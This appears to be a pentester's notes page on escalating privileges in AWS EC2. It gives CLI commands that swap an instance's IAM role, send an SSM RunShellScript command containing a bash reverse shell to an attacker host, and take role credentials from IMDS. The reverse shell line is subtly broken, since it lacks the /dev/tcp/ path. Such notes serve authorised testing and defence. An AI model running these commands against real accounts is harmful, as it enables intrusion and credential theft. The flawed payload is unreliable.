> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/ec2.md).

# EC2

## ec2:replace-iam-instance-profile-association

* With this permission, we can swap IAM Roles on an EC2 which may have new permissions

{% code overflow="wrap" %}

```zsh
aws ec2 replace-iam-instance-profile-association \
    --iam-instance-profile Name=<ec2-instance-profile-name> \
    --association-id <iam-instance-profile-association-id>
```

{% endcode %}

* Instance profile names and association id can be found with `aws iam list-instance-profiles` and `ec2 describe-iam-instance-profile-associations`&#x20;

***

## ssm:SendCommand

* This features requires Systems Manager to be properly setup on an EC2
* With `SendCommand` we can remotely execute commands on an EC2 e.g., modifying files, creating users, or executing reverse shells

{% code overflow="wrap" %}

```zsh
aws ssm send-command \
    --instance-ids "<instance-id>" \
    --document-name "AWS-RunShellScript" \
    --parameters 'commands=["bash -c '\''bash -i >& <attacker-ip-or-domain>/<attacker-port> 0>&1'\''"]' \
    --region <aws-region-of-ec2>
```

{% endcode %}

***

## IMDS

* If an EC2 is running IMDSv1 or v2, there may be an IAM Role attached to it and we can retrieve the role's credentials through this service
* We need code execution on the instance (e.g., via SSH, SSM, EC2 Connect) or via an exploitable vulnerability like Server Side Request Forgery (SSRF)
* See the link below which demonstrates how to interact with the IMDS service regardless of how you obtained code execution ability&#x20;

{% embed url="<https://www.techwithtyler.dev/~/revisions/L6UwESnJerVXKIvewUh4/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/server-side-request-forgery-ssrf>" %}